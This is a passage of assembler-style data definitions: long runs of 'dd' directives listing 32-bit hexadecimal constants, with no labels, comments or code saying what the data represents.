dd 7E0205Ah, 3D9E7A00h, 90F4570Ah, 2FBB7528h, 8C9088FBh
dd 7F013146h, 3ED4DFBEh, 0D464839Ch, 3FB205BBh, 90CC678Fh
dd 4804A05Ch, 1F849300h, 0BA6A47AFh, 3C90030Ch, 7F4DB9AEh
dd 0DFD81990h, 8D6EEF0Eh, 2DD24130h, 0D034D190h, 763740A7h
dd 67EC0E7h, 92EC9603h, 0A085D062h, 0BBDE75Fh, 390F8A5h
dd 0AE0290ECh, 35E682D0h, 2098809Ch, 18B05A8Fh, 58970C93h
dd 0AC12C0FAh, 3C016016h, 26674962h, 5CB27C20h, 0EC9D303Bh
dd 88E80448h, 954B815h, 818277A8h, 3A7B2184h, 0E20ED86Ch
dd 0AD038B55h, 9BC08DE1h, 98005936h, 0FB29111Bh, 0A673BBh
dd 0B143CCFAh, 593399FEh, 1CD56A00h, 3D03BDF6h, 0A3630215h
dd 465DCA7Ah, 722742C0h, 6459ED0Fh, 8A67C170h, 0D5ECCF11h
dd 0CB2E000Fh, 76A6F42Dh, 599842B8h, 1E687900h, 21EA4769h
dd 9D820BB0h, 0D820C9A4h, 3AB9FAABh, 0F097D0Bh, 8481867h
dd 546C00D0h, 4A36E514h, 2900DE15h, 34DB184Dh, 0E0135Ch
dd 0F4215B3Bh, 0F7285F07h, 0DED53800h, 513422A5h, 8D60C136h
dd 38AFB40Ch, 579C002Ch, 0B19F4214h, 3C550509h, 386BC6Dh
dd 31753410h, 8B23903h, 2BA5E98Fh, 82CDF08h, 2E402ABCh
dd 605F11C3h, 2256083Ch, 2033B8BBh, 0E0D190AEh, 5E0875h
dd 6726127Fh, 5536532Ah, 0BB477B00h, 2DFCA548h, 918F0007h
dd 956D4A75h, 0B30372BCh, 5639061Ch, 7B380518h, 1F85214h
dd 364F2A3Ch, 0D01DE342h, 538BF4Eh, 710DC844h, 463DE4D0h
dd 0B29018E8h, 3645D060h, 6A7FCB07h, 0DD40BE28h, 0F435613Ch
dd 0A4B7009Bh, 78C03795h, 0E800C632h, 41725D87h, 4B39FEh
dd 734DEA15h, 9B19A8C4h
dd 2BBCB40Fh, 0F2F80043h, 10BCE33h, 0C2B50841h, 0DD304039h
dd 0F38440C8h, 0D3525632h, 16AD00FCh, 0E140286h, 0AAF0E67h
dd 0A18C19F6h, 86F8D021h, 80B0B938h, 32714709h, 0FC3044h
dd 0EFAE2757h, 4E339CB4h, 909DB110h, 0F05B607Ah, 0DBB634BDh
dd 11EE6501h, 8FCF66B5h, 0E78D5980h, 3E7704FDh, 541D11C0h
dd 0E1A5E5EAh, 38BCC041h, 21490898h, 0EA0056FCh, 1CB0D935h
dd 7DA937Bh, 0A86BF3A1h, 0C251207Ch, 0C019B24Bh, 5288B099h
dd 60D520C8h, 5C177816h, 8B010A4Dh, 0C08C4BFCh, 28819B5Dh
dd 5ADAABADh, 1BD451C6h, 4475200Ch, 31B37703h, 0A3B16F7Ch
dd 3C21001Fh, 6CBC4A04h, 0F90E250Dh, 0E002CB67h, 32F507B5h
dd 0CC3814FAh, 1800903Bh, 0B4DF2E72h, 49EEF3C2h, 602FE40Eh
dd 68AFE001h, 3A6EE1h, 4E2163D1h, 9879399Fh, 841AF61Fh
dd 0EC8156DEh, 250C4ACh, 3164E0h, 0F42FC947h, 8B0C0753h
dd 7577FF00h, 3B1ACCC6h, 0CF983E48h, 85FEAC80h, 1B9C5870h
dd 792A4A00h, 0DD158D0Fh, 0CEBB3FADh, 0EC235E00h, 331B6CB0h
dd 0C35641Fh, 8E7DC3C0h, 0D4C4DFh, 50DC12F1h, 0B14B662Ch
dd 0EE592300h, 11ED419Eh, 0D192006Eh, 0DA9ACC42h, 0DF0EC68Bh
dd 0A0C0D910h, 11303B23h, 3DB20097h, 5D52CFADh, 0D014D4Eh
dd 2976D102h, 61F2A9BCh, 0ACF05643h, 2D8C1DBEh, 322497h
dd 9A73176Ah, 160CC90Ch, 8F91548h, 20BD607Fh, 8773C0D4h
dd 58A54612h, 0AE70AB00h, 303A4B3Eh, 0EE606F91h, 0BE00F5ABh
dd 0E6B845D4h, 0F08A4433h, 569E0012h, 69B6A913h, 8666B1B9h
dd 213908h, 665697F0h, 0FBA74A9h, 7E2ACF18h, 0DB8579h
dd 15CBE7C7h, 720388AFh, 8B61D900h, 7C0E3142h, 0C9BFE2Bh
dd 68993A4Ah, 59C73288h, 11FD0D2h, 858B2814h, 18814CF5h
dd 0C0F07B32h, 5F1F0034h, 0D3CD29F7h, 8083118Ch, 0CA37308h
dd 7B448C11h, 73C100D7h, 0FCA1C9E5h, 80630E54h, 0F28E781h
dd 0C0B32489h, 1CA66703h, 39B63A0Fh, 12B88005h, 0D075D10Ah
dd 0C4239CB8h, 17569A01h, 0C41896A9h, 0FC4540h, 8E6C5693h
dd 36B2C52Fh, 5FC083F9h, 0F8435D7h, 4B7D0FD0h, 5050ADA7h
dd 0D4EB04BAh, 9B00E0E2h, 0E643C062h, 0C33A44h, 23417DE7h
dd 0B7A34D50h, 60207B25h, 7EBA8FC6h, 0D71100E9h, 2AFC495Fh
dd 99028861h, 0EACE95ECh, 87BC6005h, 0C6BC0028h, 0F14FAF3Eh
dd 5400C207h, 0A5570493h, 5B0CC9Ah, 0BACF270Ch, 240480B4h
dd 0CE00369Fh, 1B59BF97h, 0FBF33Eh, 274FBB48h, 8D2362F0h
dd 0E4BC5013h, 543E8E00h, 409545h, 5518D393h, 0CA0C1281h
dd 8C587E02h, 402C96B8h, 7F372791h, 72BB003Dh, 6CC84C89h
dd 0B538ACFBh, 0D26B83CFh, 0E04271F3h, 0F8B705A7h, 1AA40EA0h
dd 0D18792F5h, 8DC5A0DCh, 0C03CCE79h, 58089FF4h, 2170B0FEh
dd 48C2D52h, 6D47EABh, 0FBE280B6h, 6E388E50h, 87C19EB5h
dd 71F13C80h, 0FE120A2Ah, 9EEEE7h, 97DD29B4h, 2E83D316h
dd 0F509D6Fh, 3B962004h, 18312CF3h, 8171B91h, 20C0D306h
dd 4996245Fh, 6CCE0038h, 0D42B9A4Fh, 0CD0077CBh, 59D99EF0h
dd 0C628B01h, 7E1E538Eh, 0B1CE96D8h, 70218AA1h, 848DCC40h
dd 86587BCFh, 7574E44h, 0F4AA8C34h, 0DFCE50F1h, 0D3304869h
dd 63C92097h, 78D06373h, 7BD88499h, 0D806CEB8h, 2D2BEF26h
dd 0DD2506F8h, 0C0CA9C05h, 7B00A47Ah, 61423AC8h, 655098B1h
dd 1D30811h, 830FA488h, 0D216F8C9h, 0E391A000h, 0BBE7CE42h
dd 1028A32Eh, 4B0B60h, 88219D44h, 3A45736Fh, 9C0FB251h
dd 2F20D315h, 0D9EF6070h, 0D63C8398h, 0D121818Ch, 0FAB512C5h
dd 7659FCh, 9431D808h, 0C7399C6Fh, 25F06700h, 2DE13A1Ah
dd 0B91D0065h, 0A23F9DB3h, 660027AAh, 8118E8DEh, 3033B1h
dd 0ADC3620Ch, 370FFC40h, 2C0075ECh, 0C246A07Fh, 0B2BB3Eh
dd 16CA10A8h, 0C4506804h, 1F00547Bh, 0F1780AFBh, 31B44h
dd 352BDC30h, 57E2D47Bh, 0BE8DBF00h, 0D2EB801Fh, 3C3E0047h
dd 0A204DD9Ch, 7B0093F2h, 5B92128Ch, 391172F9h, 0FFC3BC4h
dd 704610AEh, 73F5807Eh, 0DD3C42E4h, 0C9948C03h, 18DC8777h
dd 20109108h, 3C0041C7h, 0EF46B2Fh, 4458E1h, 7068154Eh
dd 52FD5784h, 0D517200h, 800AF0FBh, 18F460E1h, 2CC3F5B3h
dd 4481A60h, 33DADBFh, 9CA9485Dh, 9309AF8h, 45DF21B9h
dd 144E003Dh, 8F9953A3h, 1FF8766Ah, 8688F51Ah, 80828F91h
dd 0F0FDE013h, 18A660B3h, 3D4AE5EDh, 93317F60h, 3AE5A5Fh
dd 0E9BCC10Bh, 830B9F2h, 0D7B2219Eh, 33551C5Bh, 7D670701h
dd 79062F87h, 3B20603Fh, 31736FE7h, 0E008092Dh, 3C007B77h
dd 1D0BADA9h, 98D72452h, 0C0F8003Dh, 95D12F56h, 6B1479AAh
dd 0D848244h, 49847180h, 0CF1001EDh, 0BA002C6Ch, 0D4277856h
dd 3874E0E7h, 2582527Dh, 0E5718B7Bh, 8411A49Fh, 0D5256080h
dd 0DA001EC7h, 9D81BE13h, 118A59Ah, 1578BBD6h, 808EB60Ch
dd 2638A410h, 573C6Bh, 0F146014Eh, 8EA8D5BFh, 0ACEE8200h
dd 56535D7Eh, 0C8511DD2h, 75BC028h, 1B9BAAD0h, 81F6B100h
dd 7821C49Fh, 59AD008Eh, 82CF9E3Fh, 3F2FF2Ch, 0D9CED700h
dd 26DBCA4Ch, 0E8D60987h, 0DE00F612h, 46761C24h, 91055501h
dd 0A67FD4A5h, 0F88A120h, 0BE5D14DBh, 20B31BA7h, 4BF04422h
dd 5F47BCA0h, 0E950800h, 8FAE2389h, 10DE1BB9h, 7EA01125h
dd 0A083712Dh, 2FEAF504h, 3758BACEh, 0B4629700h, 0AD53214h
dd 881C0BAEh, 0F180E56Eh, 0C347BC3Fh, 184D9E1Eh, 0B8FD01B8h
dd 0A51F4203h, 3ADB1DF4h, 5802C3Eh, 95AB545Eh, 59901E43h
dd 77009C7Fh, 4A129802h, 3BFFBB4h, 41A4B026h, 2BA0DA27h
dd 83309306h, 0C1941148h, 1801006Ah, 26AB19E3h, 0E203915Eh
dd 9B8AA072h, 2C2900B0h, 7651A90Bh, 0C57DE3EEh, 0EA07E97Ch
dd 6BDDA846h, 8A8D1761h, 2E78C0h, 35360EAFh, 0C381455h
dd 0CB263100h, 0F74DE06Fh, 0EDD10027h, 0E93583B9h, 0F204796Dh
dd 959E1BABh, 0F9BCE680h, 0B32900FFh, 0E2219BF8h, 2660CC2Bh
dd 0F4866588h, 763900ADh, 73534FCFh, 0F500A3DDh, 4EDFE536h
dd 0A098152h, 0CCF23454h, 0B73380C8h, 2267B2F4h, 4DA28200h
dd 52C37269h, 5D1E8E3h, 0B53981F3h, 58DBC092h, 5F000B95h
dd 2F4B5361h, 7D314Ah, 0AEA4C5A2h, 84B2183Bh, 4FCD1A05h
dd 0F8439B71h, 988FE22Dh, 16320C7h, 19A4DFE4h, 0D868ED92h
dd 8133E348h, 0B823708Fh, 0F6140Dh, 0F97A5243h, 0BE950742h
dd 942FC838h, 0A7F5A1h, 0CE87DA21h, 0E82129Ah, 4658FF5Fh
dd 7B7A4820h, 0D7026929h, 76036BFCh, 7F47C89h, 10531598h
dd 186E1002h, 8CA4403h, 0A0E7A565h, 1E386DCh, 0FC2CAF12h
dd 0CCB9CBBBh, 0AD00F5C1h, 89E8A597h, 0C08E2352h, 211171A8h
dd 9A002E35h, 42CA3F0Fh, 2ED36556h, 29A6B6h, 306DD55Ch
dd 6E14C56Ah, 2AB8AFB1h, 92003C02h, 0ED3E98CBh, 32D753h
dd 2EF012C1h, 0D9207409h, 0A73B51Eh, 29AF3840h, 586EB219h
dd 0E30313A1h, 443A6104h, 0E00BC8Bh, 5E344ABFh, 931FD0h
dd 64476AD5h, 31782826h, 1956860Bh, 846D8258h, 0B8DDC0C7h
dd 269A072Bh, 93BC2789h, 5B908277h, 7572C8CEh, 0D001B707h
dd 0BC433043h, 71F8C6EBh, 9CF60229h, 0D1AE68FDh, 6500F0A9h
dd 0BAA5D8CCh, 6478C8E9h, 4CE63824h, 0C4252281h, 11828598h
dd 5BE4C86Fh, 95CE6DE0h, 0B8802000h, 0F95573E9h, 352F00A0h
dd 760CEB2Dh, 440026A4h
dd 0BF378BC6h, 3C142913h, 12BFD686h, 8D50D431h, 0F194605Eh
dd 4FCC8E06h, 7998F7Eh, 0ECCFED4Eh, 0BB193097h, 100930E7h
dd 80D8D6h, 9C8B9EB0h, 0E492A9h, 9AE00E23h, 0D16C09ADh
dd 4D12AA03h, 3E1CE27Ch, 1400A231h, 4A4519B5h, 1B0033CDh
dd 0B89088EFh, 0CC8B10h, 0A7EC6148h, 3786B905h, 80A1C40Fh
dd 9CEA002Ch, 0EDE5EAEh, 7D7163BDh, 752406DFh, 0CB0120CDh
dd 45DD9450h, 5CD46D1Dh, 3370335h, 318A3B11h, 8EE12BE8h
dd 6AADA407h, 8CD0A589h, 1D27F28h, 9B1A600Dh, 0C5BC8A07h
dd 0FA882078h, 2B90DE00h, 0C70AA95Ah, 0ED0E245Dh, 0F9778044h
dd 8C0CFAE3h, 0ABC9F128h, 88846C54h, 3807AD07h, 3092F329h
dd 7A314005h, 0BBBC074Ch, 0A02F7FE9h, 0A80734F9h, 78008173h
dd 1C48D7F6h, 4029B8h, 24466975h, 91655088h, 8AF3D00Bh
dd 0C39D002Ch, 4A8617h, 0D75BFCC8h, 7501533Ch, 2B4F9624h
dd 0EE33DA01h, 5FF48EC9h, 0ADC80041h, 0E382490Ah, 0A8012BDFh
dd 0BD8FB4F5h, 88F8F695h, 7EFC1322h, 0B98C40F8h, 0E798C1CEh
dd 4CD8F24h, 3480149Fh, 698E89ABh, 5D2B02D8h, 0A3DF1C61h
dd 0FFF23C60h, 58339400h, 18FDBCB4h, 4A7FAFh, 739AD403h
dd 0C4D643AEh, 3EE28200h, 48C0AD69h, 40B0E8h, 618FB84Ch
dd 76943489h, 7B161700h, 27531F41h, 59660A63h, 88BCA05Dh
dd 2F85FAB6h, 0E81C2E0Ah, 0AB3CBE40h, 0C7F1DBh, 70173790h
dd 92C26443h, 82D16307h, 2D506CB8h, 60DDEB05h, 0AB3E19BAh
dd 6F906D69h, 46A3C518h, 0EA62B550h, 0A2BB0047h, 59E9FDC3h
dd 1E004284h, 669A686Ch, 0E22488A9h, 99910011h, 0DE519B9Fh
dd 8958E1BBh, 0AE1500E5h, 0B44970F1h, 31380EDFh, 0F80034EDh
dd 0B76EA40Dh, 25202301h, 12782BAFh, 0F1CFF8D7h, 0C53F00DCh
dd 68148C98h, 0A9E08E1Bh, 5D03D03h, 88DA247Eh, 79DB07h
dd 0FF6676DDh, 71D982F8h, 891F9600h, 41541DC9h, 3B37397Dh
dd 0A311A203h, 0D0DF8E99h, 16BFF328h, 0EA766F00h, 39134F40h
dd 0A0A8008Fh, 45AEDCB3h, 3F001705h, 30826D7Dh, 13EDA92Ch
dd 0BC1078C1h, 729B1EABh, 9AF7640h, 9AD6B58Eh, 774E00BCh
dd 9934301Ch, 0A008DBEh, 25CA665Dh, 1C3AC1A9h, 43B587E2h
dd 77EE680Fh, 742C63C9h, 1B00C368h, 0CBBF62E6h, 0BE1817h
dd 926B0BECh, 0A0CE91E2h, 14900400h, 12E4FB8Dh, 0D9FA0094h
dd 0E6DD8B17h, 18B869F0h, 0EEA4C40Eh, 24B6A0D5h, 49662D43h
dd 60B6083h, 0D820724Bh, 0CFA521F7h, 0A2F9F61Ch, 8218735Dh
dd 40960129h, 3B7CAA62h, 4F18B674h, 821851Ah, 45FB849h
dd 8E6A1783h, 0A0578793h, 9469DC26h, 2D289B7Ch, 0B5003C59h
dd 9F903BCh, 31AD7275h, 1E185EA6h, 72B07E3Ch, 0C9BB002Bh
dd 0C0F6B8A2h, 54A06907h, 24A0602Dh, 540EED04h, 82E76AB1h
dd 807407DEh, 33E39514h, 34F0019h, 7D4EB8D8h, 0DB0F8BB7h
dd 87768820h, 0B5003DC5h, 11749DDh, 0E4FDA9A7h, 0E887CB29h
dd 0D6008225h, 9F1ECFDCh, 8AF660h, 0D0967E20h, 0FBE0C614h
dd 0CDDD2E28h, 0A7CB9E00h, 0A50B1089h, 0E7B00EAh, 1B8ED8E7h
dd 5700422Ah, 0FFD6EB52h, 0C903C0h, 0D8989E40h, 1EB25C19h
dd 0E8751600h, 0D37DE2AAh, 1EECFCAFh, 4009EE4Dh, 0E6C0D30h
dd 3B0F80ABh, 80A9EDADh, 21974C53h, 18DB78F7h, 56CB1F51h
dd 0C7F839D7h, 8A72DD00h, 89C8D95Ah, 0EDA707B1h, 61CD33B5h
dd 472D7FB9h, 3D6CD1A0h, 0D953F46Fh, 0A0C6A201h, 351A086Bh
dd 4CF22183h, 0B4F0D1D8h, 0BCA0CAA7h, 0C0A887ADh, 66077120h
dd 0CD381945h, 12FB9520h, 5427CA6h, 0B49DDFC8h, 0B8C84075h
dd 786E0627h, 0FA9FCE00h, 3C2E132Fh, 7F603CCh, 0E57F911Eh
dd 8DA130E8h, 730661C7h, 5CC851A0h, 8767002Dh, 6D0B096Bh
dd 2C0F03AAh, 40556906h, 7831D9F2h, 97A21D70h, 68B440B5h
dd 2D451408h, 7DB6501h, 308120F3h, 0FD3BD980h, 1FE37BCAh
dd 666FBE00h, 27A1704Eh, 0ED430C0Eh, 18369FBDh, 6C06A200h
dd 1E9A3F20h, 384F0021h, 1D9D609Ch, 800A8F3Dh, 48EAD28h
dd 0F40358h, 0A05A30A2h, 0BD3331DAh, 96CE2500h, 0F8189B80h
dd 0E45B74F3h, 61282687h, 0C3651F5Eh, 0B1335C4Eh, 34974816h
dd 940005ACh, 0B218D3E5h, 0F9008777h, 95FC5001h, 0C08DAD8Ch
dd 119C8E20h, 5D53C87Dh, 0BCD98420h, 9065BA60h, 99CC5600h
dd 0D134910Dh, 0E8233C96h, 9325DE00h, 0C1EC8E9Ch, 0FB8C500Ch
dd 792859F0h, 4DCB000Dh, 34A05298h, 0A174B82Ah, 0F08C2954h
dd 0D0CCC800h, 3D3257F1h, 0B7EF5h, 0EA0F3F2Ah, 0D7F862F3h
dd 1C3C2824h, 6A009C22h, 602AB3BAh, 0A8A30CBDh, 6FF4A4h
dd 0A213D986h, 4AFB3DF9h, 938631DFh, 1FA0B4C0h, 603CF99h
dd 218B7764h, 6E59A01Fh, 110C07C0h, 0CC74347Bh, 47215208h
dd 0DF6E510Ch, 146C1h, 9B096EBh, 580B37B9h, 6AC6871Ch
dd 1C97143Ch, 908500D4h, 1BF825F4h, 54650002h, 57D196CFh
dd 0FB155FF0h, 18017F7h, 0A26BE7A0h, 0C140BB95h, 32CE1AEh
dd 954BFADh, 5015F933h, 0B8AC5301h, 0AD5E0719h, 8082EF3Ch
dd 3B32DD84h, 9C09D17Bh, 202B061Fh, 5699AE44h, 2A170004h
dd 3FF7ACA8h, 1F81D73h, 5A3034Ch, 2FFD02F8h, 0DBEFFC01h
dd 0A840A6EBh, 0F22358Ch, 0E73E72ABh, 61159301h, 0EFF0895Dh
dd 370804F8h, 59CDEC60h, 0AAF29810h, 0D48025C8h, 0C67BCCA4h
dd 785803B6h, 365D0D98h, 0AB107875h, 93098650h, 94279D2Dh
dd 0A3FCC3CAh, 0C5811800h, 0F69833F4h, 0B56A002Bh, 2A2808EBh
dd 515CAB78h, 1B3A0173h, 4FAD04ACh, 0AF5FA886h, 3C158113h
dd 0FC8A15h, 0FD97C05Ah, 3EB5D8D9h, 6F246696h, 6E5AC01Ch
dd 0A42107DDh, 76910Fh, 0C86E524Ah, 1522DE1Eh, 0E8E3F10Eh
dd 1FA0C73h, 9311F709h, 909A3400h, 0DDEE9421h, 0BD4430BBh
dd 86153DD0h, 0A32351C2h, 4B6448D4h, 2F093817h, 9C9740E3h
dd 0E040DFBAh, 9E0A5EE0h, 10BA8EAAh, 0CE580E39h, 0FA522165h
dd 0A8431523h, 0C75904B5h, 0AA054ABh, 0B286D4AAh, 0B0208F11h
dd 3A2000E6h, 76C913CFh, 0A83C8E5Dh, 0D5017FEEh, 7BBEE174h
dd 318F7AB5h, 678009AEh, 0AF543816h, 8400137h, 0BD219Ch
dd 5E4BD5FAh, 2C3E9AAh, 1A27091Bh, 9496A9A8h, 0B0A3E824h
dd 5A9D3E4Ah, 996F5B4Ch, 63F3FB81h, 0C18A4B0h, 0D002C5BBh
dd 6E4D3080h, 6C055011h, 4B8A7588h, 0EE00E065h, 0ABC21888h
dd 15980960h, 70AF2905h, 8C80543Fh, 252DB109h, 8816C2Fh
dd 8A5E9D3Ch, 9CC29849h, 471FCE80h, 230642Dh, 0E1BEDC36h
dd 0C060C0FCh, 5F883ADDh, 7BDF28ABh, 0AF20C88h, 98702B69h
dd 0C83E49h, 4A140ED3h, 0F790D2h, 1F8F376Ah, 25548516h
dd 52810C99h, 35FBE598h, 39184080h, 0AFCCE2DAh, 0E09B1F0Eh
dd 2E369EFh, 48BA7D8h, 0AB7C8CADh, 976A9FF8h, 0DCCA7418h
dd 0C682A000h, 5C5038h, 13D6664h, 311A099Dh, 14681C3Ch
dd 0E9813D7h, 439EAB7Ah, 15EDC8h, 388148C1h, 9B7F9712h
dd 8AAF8C37h, 94402C45h, 0DD387956h, 47C6397Eh, 48774280h
dd 85A4BD89h, 14038A40h, 0F4AEFF59h, 4112304Ch, 0BE7042A6h
dd 3846B365h, 69D51304h, 59620816h, 0D5FCBB20h, 0CE9D017Fh
dd 98B4FFAEh, 6EA98110h, 0A863EF1Fh, 0C66DBC8h, 3C19C4BDh
dd 0DF01EC68h, 0DD51C2BEh, 89C13A88h, 7980F855h, 0B04DF18Ah
dd 19DF07DCh, 0AFE64A34h, 0DCEAA100h, 65006A70h, 4B9642F8h
dd 3D11346Dh, 480286CCh
dd 3FE35A8Dh, 0DF0E08Ch, 508F8540h, 4351A4E5h, 386802ECh
dd 31579735h, 906F130Dh, 2C02F38h, 0BCB02D4h, 0F881FA18h
dd 60EB78A3h, 914C1578h, 0AD9603FAh, 0C657043h, 680FB118h
dd 0DCACCB70h, 13386604h, 20626797h, 387E5520h, 43963A1Ch
dd 0FEBEA587h, 21B81FF9h, 50F91409h, 811251BCh, 0A09BD518h
dd 0F804EE10h, 1D0937Ah, 6A66E67h, 8839185Ch, 70727F75h
dd 0B5046D09h, 4400A088h, 16F6C1Fh, 0D5F95221h, 0E07A103Dh
dd 4E029ABCh, 0B430CA94h, 9218689Dh, 58135DFDh, 0BC43624h
dd 898A2576h, 27B406C4h, 77002886h, 161CCDE3h, 5830F9F8h
dd 0F6BD5C53h, 530D30h, 4C76995Bh, 1A1BD67Ch, 5459022Ch
dd 24C1C780h, 379467E1h, 0F0D183B8h, 0B73EB381h, 0F4118405h
dd 9C02A7D9h, 0C0A4147Bh, 0E8523A0h, 0B78EFD99h, 97609623h
dd 2487A9E9h, 93242194h, 8F0028F2h, 1759D798h, 3ABB302Eh
dd 72240921h, 0F8876229h, 0B5180DD1h, 56E175Ch, 0B35F4B54h
dd 8EAE9881h, 0A2BD0410h, 6EB47507h, 5F22D297h, 42A8C641h
dd 4E37030Eh, 74AC552Eh, 574840C0h, 502A8700h, 0B88830FDh
dd 4820921Eh, 0FC00E11Fh, 80A78121h, 0FB002C7Fh, 312A3216h
dd 47554Ah, 19F73F34h, 0C50A1A28h, 0F2B40E50h, 0CF058CE0h
dd 6034BDABh, 0A469F846h, 0B3A90089h, 116A804Bh, 6B0072DAh
dd 0D9BAB924h, 1C09B52Bh, 3A190105h, 9C73F094h, 9D8CE062h
dd 0AC930D20h, 0FFA49013h, 43668060h, 0D53602B3h, 31F01680h
dd 0B8F8528Dh, 0C286C07Fh, 96170A15h, 84AA29h, 0C8D96FF4h
dd 0F72ACD4Dh, 0E100B09Ch, 44D2A2A3h, 25932290h, 0B41DA194h
dd 3A802491h, 9AB6470h, 20582D51h, 9F4113B4h, 9C32B3F1h
dd 250F1F09h, 44F70423h, 8B5B492Eh, 0C001E30Ah, 1CF8B900h
dd 0CD025AEh, 3EF7F085h, 36002E29h, 9BF52D71h, 612B10h
dd 898B1353h, 0F7AD94E7h, 9695501h, 0F0AC8292h, 7C001822h
dd 0DAA85237h, 0F6003994h, 0ADD6060Ch, 2F0C258h, 2D04AA4Eh
dd 0C8E9CF62h, 44E187Bh, 405516Eh, 203B3211h, 426E66AEh
dd 8304F6F8h, 3E37F109h, 5A1D7003h, 173DCC88h, 57318C6Bh
dd 0A6DA1A01h, 6FD9D4F2h, 0BF0F6400h, 10746A9h, 0AA1B28B9h
dd 4CA8779Ch, 0E710BC98h, 0D1AD0745h, 89B5BB25h, 9082D80Bh
dd 0C03F6960h, 92359E61h, 9DE8021Eh, 9472DB00h, 51BD3677h
dd 51C2C61h, 98784054h, 4B608D2Dh, 6D3D36F8h, 630B1A1Ch
dd 0EC8420ABh, 385560A4h, 0ACC690CEh, 211160ECh, 86386F02h
dd 8D547F03h, 0B4425Fh, 7A0F3FA1h, 0E556FDECh, 2649h, 55EA34C4h
dd 0B6F21Ah, 11726BC9h, 0A0D14538h, 85C6E43Bh, 8BDB81EDh
dd 0FDAB3090h, 0A34BA4Bh, 5E44BBA3h, 98E49E8Ch, 94FE1858h
dd 2524EFEh, 3130F2E4h, 0C4C620CCh, 484154Dh, 401FF3FBh
dd 965E2800h, 244E430Bh, 0EAAA4C00h, 0E0807877h, 0FC402EF4h
dd 810A6C0h, 0D9010A83h, 0E66162A3h, 74AA897h, 0C6332E70h
dd 80052017h, 0FB5F22A4h, 46C3203Ch, 1E751C77h, 1D51EA82h
dd 0D145209h, 8669C45Dh, 0D9BED3B8h, 0D1826700h, 0D4E154A9h
dd 9C7900C1h, 19B2CDE7h, 5F1CCA73h, 0B9056BBDh, 20D7118Fh
dd 43210280h, 91627899h, 0AA2CD004h, 7E390086h, 3396D222h
dd 0C55C9098h, 0A06D104Ch, 0FF1030Fh, 7434D7B2h, 0B1A30755h
dd 8178C0A9h, 0CF42E22Fh, 0D0F8B618h, 0AB12C739h, 2CCD9888h
dd 8CF1AC30h, 63CCCA04h, 0EE38E298h, 0EFCCC201h, 895447DFh
dd 13CFA0D9h, 40657556h, 9FF91504h, 80C3AB91h, 0D653D981h
dd 20BFF898h, 0F40B4EE1h, 19F10F5h, 5B17EF88h, 6FBA8F10h
dd 3A84552h, 7DC01060h, 3960AF3Dh, 0E5F60Dh, 374178C3h
dd 2D45C5EFh, 510BC10Eh, 4ACB2057h, 5BB78Ah, 7C483AE5h
dd 7B236634h, 0E19D9F07h, 2AB084A8h, 7729FCh, 37D9FEE7h
dd 78D6D25Eh, 0AEF31207h, 1DE04857h, 5DC1843h, 80ADBC21h
dd 3D25C00Fh, 1E023511h, 57129BF9h, 814340FDh, 79310093h
dd 0F11B60Ah, 9A093AD8h, 83D33262h, 309987D8h, 0AD5A59AAh
dd 7801E7F6h, 9B7534CBh, 9E70E847h, 0A5D2005Fh, 0FFF52F8Ah
dd 0EF003F74h, 0E3DFF778h, 3CCB3F9h, 0B5799F11h, 0C6C1D083h
dd 0C8EBA41h, 28A86122h, 42583AFAh, 69D2D501h, 0F0D4963Ch
dd 0FD036578h, 60170614h, 62F5C0F6h, 0F410C008h, 9F7930CCh
dd 32CBFC00h, 0DB18C65Fh, 9B80009Ch, 55FEAA82h, 18DFD2DAh
dd 0A97B36C1h, 998007E0h, 0D6EAFABEh, 2F003C57h, 471508D7h
dd 0A6A8EBh, 0E997B5CCh, 32B1917Ah, 0D5FE0300h, 61836DDFh
dd 581A07C6h, 816A6910h, 8C6F92A2h, 196C2269h, 3E427D81h
dd 0F900F4C7h, 0D88794ECh, 52000FFCh, 0B3CF7DAFh, 0F1ABD7h
dd 0FFF84ABAh, 37A6D5F3h, 4F19FA00h, 1003E878h, 0EC5301D8h
dd 399A57C4h, 0CD7BCC34h, 1116C00h, 71F1F96Bh, 279B00B5h
dd 7E3B2BD0h, 0E400A10Ch, 6685BD8Dh, 0FE210FBh, 0F73CD8E0h
dd 205DCA1h, 0F0E3FD26h, 0AC0F08C2h, 807F7A17h, 313F777h
dd 0C89D0001h, 0D9C13D98h, 7E0781D1h, 0CD4B1870h, 0C8295EC3h
dd 67D3D428h, 330FC278h, 0D2839701h, 2A69DEF8h, 0AC3F5C01h
dd 9887A5C1h, 5A02E4h, 0A46609B1h, 5CC02B0Eh, 6C77F200h
dd 8E7933C7h, 7DC20EF6h, 0AD479EFBh, 0D99990DCh, 0E27CE7D6h
dd 2500F5B0h, 0F0F44FBEh, 73DBC5h, 79C0CEA4h, 2ADAAAB1h
dd 0AEF2F11Dh, 8DEE0407h, 8C7B051h, 1FC0FCDh, 17FE0089h
dd 0E77B32D0h, 401F7E75h, 71C042AEh, 2413B674h, 0C7520053h
dd 276F88EEh, 661C2592h, 0D4004B6Ch, 1A14C448h, 0CD720Eh
dd 0B8692752h, 0CB7A82F1h, 5F3B3C01h, 0FE38729Fh, 5F37030h
dd 9557BFA5h, 126480EDh, 53EAE2FBh, 420037F8h, 8469CAFFh
dd 3195550h, 0D04DFAAEh, 28003D88h, 0F210482Fh, 0ACDEBEh
dd 38781FA4h, 0A82C5646h, 1441B00h, 280EF60Ah, 21ECB9h
dd 56C8947Bh, 8A38E0C9h, 863238h, 3B7E97BDh, 162277BCh
dd 0D3B790h, 9164B961h, 351DFB71h, 618CDBAAh, 336D6EAh
dd 41B15CE2h, 6888349Dh, 37E621CCh, 0C0EA4800h, 927A9C78h
dd 0CF090097h, 0A6FE6714h, 9814402Dh, 7BFAC42h, 8396496Fh
dd 63F7B6A0h, 61A30072h, 0AFE47C9Eh, 0AE008B09h, 50734904h
dd 1C65F843h, 80D18F4Fh, 0D0AA44E5h, 0D650BFCAh, 3B002EF8h
dd 0A930C69Eh, 0F44A26h, 0F56E8B87h, 836194BBh, 5DAA0E00h
dd 0D84B0CF2h, 24B86Bh, 9517A66Ch, 0B1FB828h, 136A8707h
dd 0A0FFEAABh, 2974C7F1h, 0AD4F0093h, 8C394D64h, 0F63E4014h
dd 0B4E880BBh, 0E79FE027h, 640900ACh, 49DD0B55h, 0F101BD37h
dd 0C7F0EAA8h, 0FBC4BF62h, 1103002Ah, 0D464588Ch, 440759AEh
dd 2C386A40h, 941A0861h, 3B04B6D4h, 0AF813769h, 3D68FAA9h
dd 0B9E2D0BCh, 1855D03Fh, 8610B6DCh, 0DA450082h, 5F38DFEEh
dd 90032C1Ah, 6C36A9D6h, 3D68CEFEh, 0FFAFB732h, 82002470h
